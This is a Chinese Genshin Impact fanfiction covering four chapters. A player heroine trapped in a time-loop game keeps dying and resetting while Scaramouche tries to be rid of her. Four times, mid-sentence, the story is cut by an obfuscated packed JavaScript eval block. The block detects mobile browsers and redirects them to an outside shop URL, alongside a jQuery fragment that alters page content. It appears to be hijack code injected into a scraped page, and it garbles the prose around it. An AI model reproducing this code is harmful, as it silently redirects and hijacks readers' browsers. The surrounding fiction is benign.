《[原神]散兵求我别找死》 1. 第 1 章 对于光缡这样的玩家来说,世界上有一件事比打最终Boss还要严峻。 那就是:初见自推的过场动画。 【魅力:87(含服装属性加持)】 【描述:您的脸就是提瓦特最硬的通行证。哪怕您当街抢劫,路人也会觉得是钱包的错。】 为了这一刻,光缡已经在【衣橱】界面整整卡了两个小时,才换上这条属性爆表的裙子。 门外传来侍从紧张的声音:“光缡大人,您的客人已经在会客室等您了。” “知道了。”光缡应下。 她打开门,大步迈入。 院子和走廊的所有人作鸟兽散,物理意义上的一键清场。 新来侍从不明真相,还在被光缡的高魅力值蛊惑:“那位就是光缡大人?看起来明明很温柔啊,没传说中那么坏吧?” 年长的侍从魂飞魄散,一把捂死他的嘴:“快别让她听到了,上一个说这种话的人,被光缡大人兴奋地举起来当作武器使用,回来的时候他的上下半身正正好好分开…… “身体至今都像摔碎的磁铁,死活拼不到一块儿去。他现在上厕所都得凭感觉瞄准!” 光缡并未在意NPC之间的议论。 毕竟玩家走到哪里都是话题中心。 不论美名还是恶名,都是名声大噪,分开触发还能解锁两个成就。 入坑不到一周,所有剧情全部跳过,没日没夜地肝经验升级,就为了这神圣的一刻—— 那个印在游戏封面上、用美貌将她垂直拉入坑的角色【雷电国崩】,将第一次在剧情中正式登场。 - 踏鞴砂,御舆宅邸,会客室。 “有什么事请您随时吩咐。” 侍从上完茶,恭敬地退下。 他并未注意到,少年那温和单纯的笑容已然隐去。 收敛起【倾奇者】的伪装,散兵垂下眼帘,看着杯中热茶。 他本该已在世界树中删除了自我,可当他再次睁开眼时,竟然回到了四百多年前的踏鞴砂。 重回的这三天里,他听到了一个原本绝不该存在的名字—— 御舆光缡。 踏鞴砂目付唯一的妹妹,虎千代最小的孩子。 传闻中,她恶贯满盈。 草菅人命、入室抢劫、一夜之间拔光整座岛的植被、当街抢夺路人车辆…… 散兵无比确信,在原本的时间线里,根本查无此人。 是因为他进入世界树,才诱发的时空变数吗? 散兵指尖摩挲着茶杯边缘,眼底翻涌着晦暗的杀意。如果御舆光缡,是打破踏鞴砂平静幸福的隐患…… 杀了便是。 他绝不会有半点手软。 - “光缡大人……” 门被侍从战战兢兢地拉开。 光缡大步迈入。 过长的裙摆拖在地面。 任务剧情点的金光一直在视野中闪烁,可光缡的视线却一刻也不能从坐在桌前、正在抱着的茶杯的少年身上移开。 是他! 那个印在游戏封面上、简直是按照她xp量身定做的角色! 光缡一头猛扎进去,凑到他身边,疯狂点按【冲刺】键。 贴贴!贴贴! 散兵抱着茶杯。 一时间猜不准御舆光缡在干什么。 不知道怎么回事,御舆光缡看了他一眼后,就冲到了他脸上,十分卖力地……原地踏步。 明明看上去跑得极快,连脸颊都泛起红晕,却连他一片衣角都没碰到。 他们之间就像是有一道无形的墙壁,御舆光缡怎么努力,都无法真正触碰到他。 散兵不明所以。 这算什么?下马威?挑衅? 这个距离,完全足够她一拳挥到自己脸上。 当然,他也绝对能精准扭断她的脖子。 而御舆光缡周身气场平和,没有泄露出一丝一毫的杀意,似乎……只是单纯因为看见他而兴奋。 在摸不清敌方底细时,散兵有着一套惯用的伪装。 他故意迎上御舆光缡的视线,在对方目不转睛盯着他时,熟练地扯出一个属于“倾奇者”的、温和且毫无杀伤力的无辜微笑。 这个笑容的意思是: 看,我(的表面)也像你一样无害。 御舆光缡骤然瞪大双眼,脸颊上的红晕瞬间蔓延到耳根。 她猛地捂住胸口,像是被什么不可名状的力量重击,踉跄着倒退数步,不小心踩中裙?绊了一跤,接着“扑通”一声,直挺挺地向后倒去,砸在榻榻米上。 散兵:他刚刚可什么都没干! 散兵迅速瞥向守在门口的侍从。 那个开门的侍从还看着房间内部,没有回头! 糟糕!万一被误会是他对御舆光缡暗下毒手怎么办? 明明是这女人碰瓷在先! 散兵双手撑桌,正欲起身,打算继续顶着“倾奇者”的身份上前一探虚实。 可御舆光缡突然在地上滚来滚去,兴奋地大喊大叫起来。 “哦哦哦哦哦哦哦——他笑了他笑了!” 散兵:………… - 躺在地上的光缡并没有急着起身。 她在震惊这游戏物理引擎真实度的同时,脑子里只剩下一个念头: 老天,他的建模比海报好看一百倍! 世界上怎么会有这么完美的脸蛋! 他还会对着玩家笑! 我要给他送最贵最稀有的礼物刷好感! 光缡一骨碌起来,打开背包。 结果背包空空如也。 啊……进门前她把背包里的持有物品一键清空储存了。现在身上什么都没有! 这个游戏只能死亡读档,死亡惩罚很恶心:会随机掉落部分经验和道具。 吃亏过几次,光缡长了记性,就算过剧情,她也要防患于未然。 尤其是去见首次见面的人。 目前她对雷电国崩的了解就一张脸,万一他是宿傩那种性子的人,上来先杀几十遍呢? 不过好感度礼物还是要送。 现场找点什么吧。 望着一房间闪烁着高亮光芒的调查点,光缡愉快地投入了“零元购”的进货环节。 反正任务放在那里什么时候都能过,这屋子说不定她以后再也不会过来了呢。 光缡小心翼翼地绕过那块判定进入剧情的发光圆圈。 她路过一个珍贵的古董花瓶。 花瓶就这么在她经过的瞬间,凭空消失了。 接着是壁画、香炉、甚至连果盘里的三颗日落果都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449505|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放过! 散兵曾听闻御舆光缡会大摇大摆闯进别人家,把屋子翻个底朝天,连垃圾桶都不放过。 但他没想到…… 这里明明是她自己家啊?! 连自己家都要抢? 而且她碰过的东西,全都离奇消失了。 这印证了他的猜想。她大概率拥有某种空间系能力,才敢如此肆无忌惮。 就在散兵怀疑她连自己坐着的蒲团都要抽走时,她终于完成了这套搜刮仪式,心满意足地在对面落座。 侍从们如同被按下播放键,动了起来,将门轻轻关闭。 【玩家已进入当前剧情】 【来向你的客人打个招呼吧!】 光缡盯着少年头顶上那串只有她能看见的红色高亮字符。 【倾奇者&雷电国崩&斯卡拉姆齐&散兵&正机之神&七叶寂照秘密主】 头衔这么长一串,不是身藏多重身份,就是中二病晚期没救了。 如何正确称呼眼前的少年,说不定就是游戏的第一道考验。 但这根本难不倒她,毕竟游戏宣传海报的C位上,清清楚楚地印着这位少年的大名! 雷电国崩! 光缡下意识脱口而出:“终于见面了,雷电国崩!我等这一天好久了!” 咔。 散兵手中的茶杯,出现了一道裂纹。 他如临大敌。 “……你叫我什么?” 他竭力压制着眼底翻涌的杀意,原本为了伪装而挤出的温和笑容,彻底僵硬在了脸上。 听到这句冷冰冰的反问,光缡心头“咯噔”了一下。 看对方这副仿佛要刀了她的反应……这剧情走向好像不太对劲啊! 可是,“雷电国崩”这四个字明晃晃地印在游戏封面上,不就是官方暗示玩家这么叫的吗……吧? 在散兵眼中,御舆光缡已与死人无异。 “雷电国崩”这个名字,是他在很久之后的未来,亲自赋予自己的。四百多年前的踏鞴砂原住民,绝、不、可、能、知、道! - 【倾奇者&雷电国崩&斯卡拉姆齐&散兵&正机之神&七叶寂照秘密主】 【好感度:-50/100】 和喜欢的角色初次见面的第一回合,对方拢共就说了五个字。 然后,好感度就狂掉了五!十!点! 五十点!!! 光缡如遭雷击。 她刚才干的唯一一件事,就是叫了两遍他的名字啊! ……讲道理,“雷电国崩”难道不是他那6个中二病晚期称号里,最像个人名的一个吗?! 对了,前置剧情似乎提了一嘴, 桂木他们现在好像叫他……什么来着? 完了。 跳过键按太快的现世报来了。 她原本是准备一字一句把少年相关的剧情看完的。 但按跳过键成了习惯,等她反应过来,第一段剧情已被没了! 这下是真的出大问题了。 《提瓦特模拟器》的游戏卡带是有人直接匿名邮寄到她家的。 网上找不到任何记录,更别说剧情切片和通关攻略了。 光缡在心里安详地闭上了眼。 这周目彻底废了。 她也完蛋了。 2. 第 2 章 为了下周目能正常展开,光缡还是决定以身试险。 总共就六个名字,先挨个试一遍吧。 “那个……倾奇者,你好,我是御舆光缡。” 光缡小心翼翼地改口,试图挽救这稀烂的开局。 【好感度-10】 “斯卡拉姆齐?” 【好感度-10】 “散兵?” 【好感度-10】 …… 【倾奇者&雷电国崩&斯卡拉姆齐&散兵&正机之神&七叶寂照秘密主——】 【好感度:-100/100】 【恭喜玩家——】 【达成成就:死人在说话。】 【如果他哪天决定毁灭世界,您绝对是他杀人名单上的榜首。】 激昂的专属战斗bgm响了起来,光缡视野中,多出了一条属于倾奇者的极长血条。 她喜欢的角色,变成红名了。 竟然这六个名字里,没有一个是对的??? “御舆小姐,你觉得这样很好玩是吗?” “倾奇者”微微偏头,礼貌的微笑中透出毫不掩饰的寒意。 前一秒贴脸挑衅,叫破他未来的名号;后一秒便装作没事人一样,喊他倾奇者? “戏耍我,就这么有趣?” 【您与该角色已成为敌对关系。】 【您未佩戴武器,无法切换战斗模式。】 光缡扭头就往门口跑。 一边十分庆幸,还好她有事先清包的习惯,把所有贵重物品都存进了仓库! 当初这么做,纯粹是为了防止遇到那种初见杀的剧情BOSS型角色,导致惨遭死亡惩罚掉落极品装备。本是防患于未然,没想到现在竟成了神来之笔。 宝贝武器要是被死亡惩罚随机掉落出去,她能心疼死。 至于自己的性命…… 死就死了,只要装备没掉,那就是无事发生,等下读档回来又是堂堂复活。 然而,倾奇者的身影如闪电般瞬息而至,直接封死了所有的退路。 光缡后背重重地撞在墙上,逃无可逃。 提问:当角色的好感度跌破底线,并且随时准备把你扬了的时候,该怎么办? 答:赠送好感度礼物,强行苟命。 眼下,整个背包口袋里,她的好感度礼物就只有一个。 还是她刚刚在房间里搜刮到的。 光缡闭上眼睛,心如死灰。 完了。这礼物一不能拿来防身,二它……它正经不了一点啊! 但是! 面对一个隐忍蛰伏、正打算把你当场格杀的绝世高手,而你全身上下只有这么一个小玩意儿。 它可能99.99%很废物,只有0.01%能扭转乾坤,你用不用? 死都要用啊! 反正横竖都是个死,不趁这个时候狠狠调戏他一把,难道还要留到下周目吗! 光缡一把掏出礼物,双手高高举过头顶,视死如归地按下了开关。 “喵喵!你是否承认,纯美男神雷电国崩,美貌盖世无双!喵喵!” “不承认直接打死了喵~” “喵喵!你是否承认,纯美男神雷电国崩,美貌盖世无双!喵喵!” “不承认直接打死了喵~” 伴随着粗糙的电子音和极具精神污染的旋律,一只来自枫丹的小猫形态机械玩具,在光缡手中吱吱哇哇地扭来扭去。 只要输入文字,它就会一直重复这句话,放在地上甚至还会魔性地跳舞。 散兵的动作在小猫玩具前停住。 欸欸欸!难道说有戏! 光缡躲在扭动的小猫玩具后,小心翼翼地抬起脸,向上偷瞄。 少年也正垂下视线。 那双漂亮得惊心动魄的眼眸里,空无一物。眼神中剥离了一切属于人的温度,只有在看死物时才会有的,毫无感情的冰冷。 【倾奇者&雷电国崩&斯卡拉姆齐&散兵&正机之神&七叶寂照秘密主】 【好感度-10】 【好感度已经达到最大负值100,将不会再继续累加】 散兵注视着御舆光缡的眼睛。 即便死到临头,这女人的眼底也找不到一丝对死亡真正的敬畏。 她确实在害怕着什么,却唯独不畏惧死。或者说,她根本没把自己的命当回事。 都无所谓了。散兵漠然地想。 御舆光缡究竟是想借此要挟,还是另有所图,他都不想再深究。 这个女人知道得太多,行事又如此跳脱,根本无法掌控。一旦他的真实身份被泄露,必成大患。 幸好,他知道一个万无一失的办法。 死人不会说话。 至于杀了她之后,该怎么把这笔账天衣无缝地嫁祸给此时的多托雷…… 他可以等下再慢慢想。 【玩家已死亡,请选择读档点。】 - 意识抽离,回到了宛如电影院内部的游戏等待大厅。 占据一整面墙的巨大幕布上,正缓缓流转着游戏的标题界面。 光缡没看清他是怎么出手的,只觉得脖子一凉,眼前的画面便彻底失去了色彩。 被杀掉了。 通常死在游戏角色的手下,光缡读档复活以后,必定要百倍奉还这份被杀的耻辱。 她就是这种不让自己受一点点气的玩家。 要报复倾奇者吗? 这个问题浮现时,光缡自己都感到惊讶。 换作平时,她根本不需要犹豫。 而心底紧接着冒出的答案,更是让她感到一阵陌生。 心底的声音说,现在不要—— 什么啊!光缡啊光缡,你居然见色起意,连底线都不要了吗! ——但之后要让他以别、的、方、式,加倍奉还。 嗯,这就对了嘛。 光缡意味深长地点点头。 这才是她啊。 毕竟,玩这个游戏的目标,不就是为了泡到他吗? 她伸了个大大的懒腰,拿起可以无限自动续杯的冰可乐喝了几口,休息了一会儿,这才选择读档重进。 【是否读档?】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449506|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光缡毫不犹豫,选择“是”。 至于被喜欢的角色亲手击杀这件事,光缡心里毫无波澜。推门进去的时候,她就已经做好了惹毛对方的心理准备。 区区游戏而已,死亡体验也只是play的一环。 攻略高难度角色就像打魂类游戏,玩家们总是要用无数次的死亡堆叠,去死记硬背BOSS的出招轴,最后总能完美通关。 这周目能试出来少年的名字是雷点,已经是重大情报收获了。 下周目,她会绕开这个雷区的。 【欢迎进入《提瓦特模拟器》】 【正在载入……】 【一些会在加载页面出现的小提示:游戏在设置界面也是不会停止的哦。】 - 窗外日影斜斜,会客室内的飞尘在光柱中不安翻涌。 散兵僵立在光暗交界处,属于人类的、温热且令人作呕的黏腻感,正从他的右手一点点冷却。 血液顺着他的指尖,“滴答”、“滴答”地砸在榻榻米上,洇开刺目的暗红。 御舆光缡,死了。 是他亲手杀了她。 散兵望着地上那具了无生息的身体,心中一片麻木。 他并不喜欢杀人。 可曾经,他又杀了很多人。 他知道,自己本可以不杀御舆光缡。 心中的一个声音在低语: 御舆光缡虽然行事古怪,像个精神病,但从头到尾,都没有流露过半分真正的恶意,不是吗? 另一个声音立刻尖锐地反驳: 你敢赌吗?! 她来历不明,疑似拥有倒转时间的权能,更可怕的是,她知晓你所有的名字! 万一她用身份要挟你呢?万一她行事鲁莽走漏了风声呢? 多托雷必定会闻风而来,到那时候,踏鞴砂还能像现在这样平和吗? 何况,你现在的力量还被封印着,对上多托雷都极其吃力,拿什么保护所有人? 心中的声音又说:可是,你可以和她合作啊。 另一个声音再次冷笑:你怎么还敢相信别人?这世上,人心是最不可靠的东西! 心中的声音轻轻地:她的能力在关键时刻,或许有扭转乾坤的大用。 那个声音在这质问中一退再退,最终被剥夺了所有的底气,蜷缩进无形的自我保护壳内。 它绝望地质问:你敢赌吗? 你敢拿一切去赌,她会永远毫无保留地站在你这一边吗? …… 眩晕感毫无征兆地裹挟感官。 眼前的景象轰然崩塌。 “有什么事请您随时吩咐。” 熟悉的声音,熟悉的茶香。 眼底的杀意尚未完全褪去,右手仿佛还残留着那种黏腻的错觉, 但…… 散兵再次端坐在了那间会客室里。 蜜色阳光穿过窗棂。 一模一样的会客室,一模一样的台词,就连杯口腾起的水雾弧度都分毫不差。 时间……重置了?! 就在御舆光缡死亡后? 3. 第 3 章 这两件事之间,有必然联系吗? 没等他理清楚,走廊里再次传来了那阵熟悉的、毫无规矩的急促脚步声。 “唰——”纸门被一把推开。 御舆光缡大步跨了进来。 这一次,她脱下了那身繁复优雅的华服,身上胡乱套着几件风格迥异的散件防具。 对于一个入坑不久的萌新玩家而言,这身破烂已经是她翻箱倒柜凑出来的顶配了。 各种高饱和度的色彩突兀地拼凑在一起,画风极其割裂,活像个成精的调色盘。 直白点说,丑得不忍直视。 彻底牺牲外观换来的,是她肉眼可见的能力提升。 虽然在散兵眼中,这点提升依然不够看,但她的确变强了。 而且…… 散兵的视线装作不经意地从她腰间扫过。他注意到了,她这次带了武器。 散兵在心底冷笑。 对于时间重置,她果然是知情的。 她知道上周目死在了他手里,所以这次全副武装,甚至不惜穿成这副滑稽的模样,是要来为过去的自己复仇吗? 来吧。他等着。看她到底有多大能耐。 御舆光缡径直走向矮桌,坐下。 这一次,她没有翻会客室的任何东西。 她的双手规规矩矩地平放在桌案上,盯着散兵,什么都不说,什么都不做。 只是静静地看着。 盯—— - 光缡下定决心。 这周目她就当个木头人。 就等着倾奇者先说话。 多说多错,她不说不做总行了吧? 谁能料到名字会是雷点啊。 还明晃晃地印在游戏封面上。 倾奇者只是个无辜的纸片人,他能懂什么?这绝对是背后无良策划故意设下的钓鱼陷阱,用心险恶! 既然如此,她决定祭出玩家的传统美德与终极奥义——Skip(跳过)大法。 只要她不参与任何互动,狂按跳过键直奔结果呢? 反正这段剧情也没有分支选项。 【来向你的客人打个招呼吧!】 就不打!就要发呆! 光缡盯着少年。 他真好看。 哪怕冷着脸也真好看。 这面部建模,这光影,连睫毛的阴影都做得这么完美。 唉,我眼光真好。 久久等不到御舆光缡下一步动作的散兵,被她那种星星眼注视,搞得莫名其妙。 搞什么鬼?他上一周目才亲手杀了她,连半句好话都没施舍过。 这女人不记恨他也就算了,眼神怎么反而越来越……奇怪了? 散兵有些不自在地侧开视线。 没一会儿又转回来。 御舆光缡还在看。 又过了一会儿。 还在看。 ……算了。 散兵被这种空洞又闪亮的眼神搞得浑身不适,决定主动出击探探虚实。 他深吸了一口气,秒切倾奇者友善无害的假面,冷不丁地打破沉默: “御舆小姐,您一直盯着我看,是……” 话音未落。 “嗯嗯,好的呢。” 御舆光缡突然开口,语速极快、毫无感情地附和道。 散兵的话直接被堵在了嗓子眼。 他愣住了,不解道:“……您这是什么意思?” “对对对,没错。” 御舆光缡再次面无表情地棒读抢答。 散兵的眉头深深地拧了起来。 他明明连一句完整的话都还没说出来,这女人在自顾自地肯定什么?! 而在光缡的视野里,呈现的却是另一幅截然不同的画面。 【跳过】 【跳过】 【跳过】 伴随着她脑内疯狂下达的跳过指令,眼前悬浮的系统对话框正在剧烈闪烁。 倾奇者刚才那段话语,在系统界面的粗暴处理下,只留下了开头一小部分,被强行压缩成了:【……】 紧接着,第二句试探,又是:【……】 光缡心想,怎么全是不发语音的省略号文本?卡Bug了? 他也没话说了吗?那感情好啊,这样她跳过剧情就完全没有心理负担了! 于是,为了快速结束这段“毫无信息量的垃圾时间”,她更加熟练地运用起了十分好用的skip大法。 “……御舆小姐,你究竟有没有在听我——”散兵压抑着火气,试图强行把对话拉回正轨。 “完全赞同!没问题!”光缡看着UI面板上再次弹出的【……】,语速飞快地打断了他。 散兵:…… 会客室内,陷入了一种诡异的死寂。 散兵蓄势待发的杀意,被这通毫无章法的已读乱回打得烟消云散。 她到底在干什么?! 他精心准备的试探、蛰伏的杀机,全都被这几句毫无逻辑的“对对对”给生硬地堵死了! 光缡也等得十分纳闷。 平时按Skip键,NPC的对话瞬间就过完了,怎么今天这只倾奇者的省略号这么多? 不管了,剧情应该跳得差不多了,直接推进主线吧。 光缡眼神里透着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449507|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急着推进主线拿奖励的纯粹:“绕了一大圈弯子,所以你今天来找我,到底是为了什么事情?” 为了不错过关键的主线任务提示,光缡终于大发慈悲地停下了狂按跳过键的念头。 散兵深吸了一口气,感觉太阳穴在突突直跳。 到底是谁在绕弯子! 但面对一个连话都不让你说完、全靠脑补推进对话的精神病,任何试探都显得毫无意义。 散兵放弃了原本准备好的一大套话术,疲惫无语地扯了扯嘴角,直接抛出了目的。 “御舆小姐,其实是丹羽大人向我引荐了您。我初来乍到,大人嘱咐我先熟悉一番岛上的风土人情。大人还说,若论对踏鞴砂各个偏僻角落的了解,没人比得过经常‘在外游历’的御舆小姐。” 散兵顿了顿,语气十分诚恳:“所以,我想请您做我的向导,带我四处转转。如果不嫌弃,您可以称呼我为‘倾奇者’。” 听到这句话,光缡头顶仿佛亮起了一个惊叹号。 她瞬间坐直了身体:“哈哈,倾奇者你好,我是御舆光缡!” 赌对了!只要等NPC主动开口,就能跳过开局杀的死亡判定! 光缡在心底给自己比了个耶,第一阶段的危机宣告解除,接下来就是走流程刷好感了。 他刚说了,要我陪他出去,对吧? 这四舍五入怎么能不算是约会!!! 这可是他主动邀请的! 光缡原地起飞:“好啊好啊!那你想什么时候去逛?现在就走怎么样?!” 【当前任务已更新——陪伴“倾奇者”熟悉踏鞴砂风土人情。】 于是,两人转身出门。 走在后方的散兵,敛去了脸上温和的笑意,眼底闪过冰冷的算计。 他还有一些事想要确认。 之前御舆光缡的时间重置,与他亲自动手有关。既然如此,如果她是因为这岛上的其他“意外”而死呢? 踏鞴砂的野外,到处都是陡峭的悬崖、狂暴的魔物。只要她是死于踩空坠崖,或者死于魔物之口,就与自己毫无因果联系。 到那时候,时间还会重置吗?这个阴魂不散的变数,能被彻底抹除吗? 怀揣着借刀杀人的完美计划,散兵跟着她走出了御舆家的大门。 - 二十分钟后。 “大人,有什么事请随时吩咐。” 熟悉的声音,熟悉的茶香,熟悉的会客室。 他又回来了。 散兵僵坐在蒲团上:“……………” 怎么会有人因为体力耗尽,把自己淹死在一条堪堪没过大腿的浅河里啊! 4. 第 4 章 散兵手指死死捏住茶杯,指节因为用力而泛白。 那个女人,嘴里嘟囔着,“搞什么啊,这点高度就判定为游泳模式了,害我没有留游泳的体力”…… 然后,她转过头,对着他露出歉意的笑容,往前扑腾两下,活生生把自己淹死了。 散兵深吸了一口气,将几乎要被捏碎的茶杯放回桌面。 他逼着自己冷静下来。 至少,他现在可以确定: 1、御舆光缡死亡,他的时间就会重置; 2、重置后,是回到她还没有生命危险的时候; 3、确定御舆光缡的时间重置,没有死亡限制。 不论任何原因,不论死法有多么离谱、多么弱智,只要她一死,时间就会重置。 他不仅不能杀她。 还得像个保姆一样,严防死守任何人、任何意外要了她的命。 哈。 哈哈。 日后如果他正在谋划什么要紧事,或者正在与多托雷对峙的关键时刻, 御舆光缡意外身亡,那他所做的一切都将前功尽弃。 必须要想什么办法,摆脱掉她。 【可以和她合作。】 心中的声音又在轻轻地说着。 不,不可能。 他不会相信任何人。 再说,他对御舆光缡的监视还没有结束。 再度和御舆光缡碰面后,两人十分熟练地过了一遍流程,随后便动身,陪“倾奇者”熟悉一下踏鞴砂的周遭环境。 因为没有多余的废话耽搁,两人这次出门的时间比上一周目早了许多。 这也就导致,光缡在路边看到了一个截然不同的东西。 一个还没来得及被NPC收走、正闪烁着交互高光的垃圾桶。 并排走着走着,光缡渐渐落后一点点,一个身位,两个身位…… 然后在一个转角处,消失不见。 散兵顿时有一种不好的预感。 他立即折返,然后,不出所料地看到她正撅着身子蹲守在垃圾桶前,半个身子都快探进去了,正十分投入地翻找着。 散兵根本看不到她在翻什么。 她手上明明空无一物,却做着“把东西揣进口袋”的诡异行为。 辛勤忙碌完的光缡从垃圾桶上抬起头,擦了擦额头上根本不存在的汗水。 正当她心满意足地回过头,打算追赶倾奇者时, 一眼看到了正站在三步开外、目不转睛地盯着她的“倾奇者”。 “倾奇者”将她刚刚的行为尽收眼底。 光缡的脸颊瞬间爆红,就像是见不得人的小秘密被当场看破,露出了极其罕见的窘态。 过了一会儿,她支支吾吾地开口:“那个……倾奇者,你怎么不说话……你不嫌弃我掏垃圾桶吗?” 呵,比翻垃圾桶更匪夷所思的事情,你干得还少吗?和一言不合就强行让时间倒流、或者把自己淹死在浅水坑里相比,区区翻个垃圾桶算得了什么? 散兵很想这么说。 但是他是一个非常敬业的语c人,现在套着“倾奇者”的皮,那他就是倾奇者。 于是,“倾奇者”礼貌微笑道:“不会哦,御舆小姐这样做,一定有你的道理。” 御舆光缡脸上的窘迫瞬间烟消云散,转变为一种遇到知音的感激。 “哇!倾奇者,我就知道你和别人不一样!其他人看我翻垃圾桶,都会掉好感度还一脸嫌弃!他们根本不懂,垃圾桶里可是能开出极品道具的!哦对了!” 御舆光缡看起来灵光一现。 散兵顿时有了更不好的预感。 御舆光缡从她那四次元空间口袋里,小心翼翼地拿出一个东西。 一枚闪烁神圣金光、刻着“点赞”手势的奇异奖章。 她看上去有些肉痛地撅了撅嘴,依依不舍地说:“唔……这是刚刚我修好垃圾桶给的,是【道德崇高的赞许】。 “这应该是今天获得的最稀有的道具了。我本来打算留着给自己以后用的,但是你人真的很好,就送给你吧!” “刚刚”。 她说了“刚刚”,对吧。 就是说,散兵看了眼失去御舆光缡宠爱的垃圾桶,再看了眼在阳光下熠熠生辉的大赞许。 他陷入沉默,没有接过。 ……他现在真的有点嫌弃了。 - 【倾奇者&雷电国崩&斯卡拉姆齐……拒绝您的赠礼。】 停之! 打开改名面板。 光缡在脑海中下达指令。 系统立刻掐断了念到一半的冗长头衔,弹出了改名界面。 她实在受不了此男的信息播报,每次都一长串,吵得人头痛。 她要给倾奇者修改一个新备注,就叫…… 【倾奇者&雷电国崩&斯卡拉姆齐&散兵&正机之神&七叶寂照秘密主,】 【是否改名为:】 【雷电国崩重度依赖?】 光缡毫不犹豫,是。 【雷电国崩重度依赖,已拒绝你的赠礼。】 光缡撇撇嘴。 【道德崇高的赞许】金灿灿的,看起来可不埋汰呀? 它能抵消一次玩家对npc的低素质行为,非常的有用呢。 倾奇者不喜欢,那就算了。 他没有收下礼物,今天还有机会送别的。 收起奖章,光缡继续赶路。 她一路蹦蹦跳跳,维持着“冲刺——起跳——滑翔”的平稳节奏。 由于上周目她已经陪倾奇者逛过一遍这片区域了,剧情都已经摸透。 所以第二遍走这条路时,她失去了耐心,一直在加速跑。 路过的薄荷、甜甜花还有鸣草,她连身形都不顿一下,像一阵妖风般顺手全部收入囊中。 在等待倾奇者和npc交流的功夫,光缡还上树抓了几只鬼兜虫。 而倾奇者这一路极为体贴。 她跑得太快时,他会在后面回提醒她小心看路,还会小跑着追上来,生怕她摔着; 当她企图去采摘一些颜色鲜艳的剧毒植物时,倾奇者更是会像触电一样立即出言制止; 当她爬上树后,倾奇者连NPC的对话都不管了,直接快步走到树底下,仰着头,语气紧绷地让她赶紧下来。 倾奇者真是个善良的天使。 光缡趴在树杈上,欣慰地想着。 只要不去触碰他的称呼雷点,他平时的表现简直完美得无可挑剔,谁能忍住不喜欢他呀! 沐浴着倾奇者“关切”的目光,光缡十分自信地从树上一跃而下。 这点高度,连十分之一的血条都摔不掉。 然而,底下的倾奇者却神色剧变。 他一个大步冲上前,赶在光缡落地前的一瞬间,伸出双手,将她稳稳地、死死地接在了怀里。 光缡一愣。 她能感觉到,抱着她的那双手臂,绷得像石头一样紧。 她抬起头,看到倾奇者的神色中,罕见地夹杂着几分惊慌和掩饰不住的愤怒。 御舆光缡到底在干什么?! 散兵在心底咆哮。 她又要从高处跳下去,来那一套时间重置了吗?! 绝无可能!他会死死盯住她的! 他用力咬了咬下唇,强行压制住翻涌的愤怒:“御舆小姐,这种行为太危险了。还请你不要再这样做了……我会觉得很困扰的。” 他说很困扰。 他说他很困扰! 他在关心我! 关心我关心我关心我…… 光缡的内心世界已经坠入爱河,表面上仍旧乖巧地连连点头:“嗯!我知道了,我不会再做让你担心的事情了。” 倾奇者如释重负地长叹了一口气,这才动作僵硬地将她放了下来。 告别了NPC后,没走多远,两人就来到了上周目光缡不慎淹死的地点。 那条河流。 光缡吸取了教训,特意站在水边停下脚步,等待体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449508|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力条完全回满。 她发誓,这一次过河,连一次冲刺都不用! 可还没等她下水,倾奇者突然一把扯住了她的衣袖。 他用着一种几乎是不容拒绝的、大得有些诡异的力道,硬生生将她拽离了河岸边。 倾奇者:“这里有路,我们走这边吧,御舆小姐。” 光缡十分不解:“为什么要绕远路?从河流上跨越过去,是走直线,距离最近的。” “倾奇者”:………………………… 忍住。 散兵在心里对自己说。 你不能在这里杀了她,否则一切又要重来。 不过光缡没有坚持:“你想绕路,那我们就绕路吧。” 一副迁就他的口吻。 倾奇者深深吸了一口气,跟了上来。 - 踏鞴砂虽然是一片岛屿,但也不是能一天逛完的。 光缡带着倾奇者在岛上几个主要地点逛了逛,天色便暗了下来,于是她打算打道回府。 至于整个区域最核心的御影炉心,今天似乎正在进行什么重要的大事,被严密地封闭了起来,不让任何人轻易靠近。 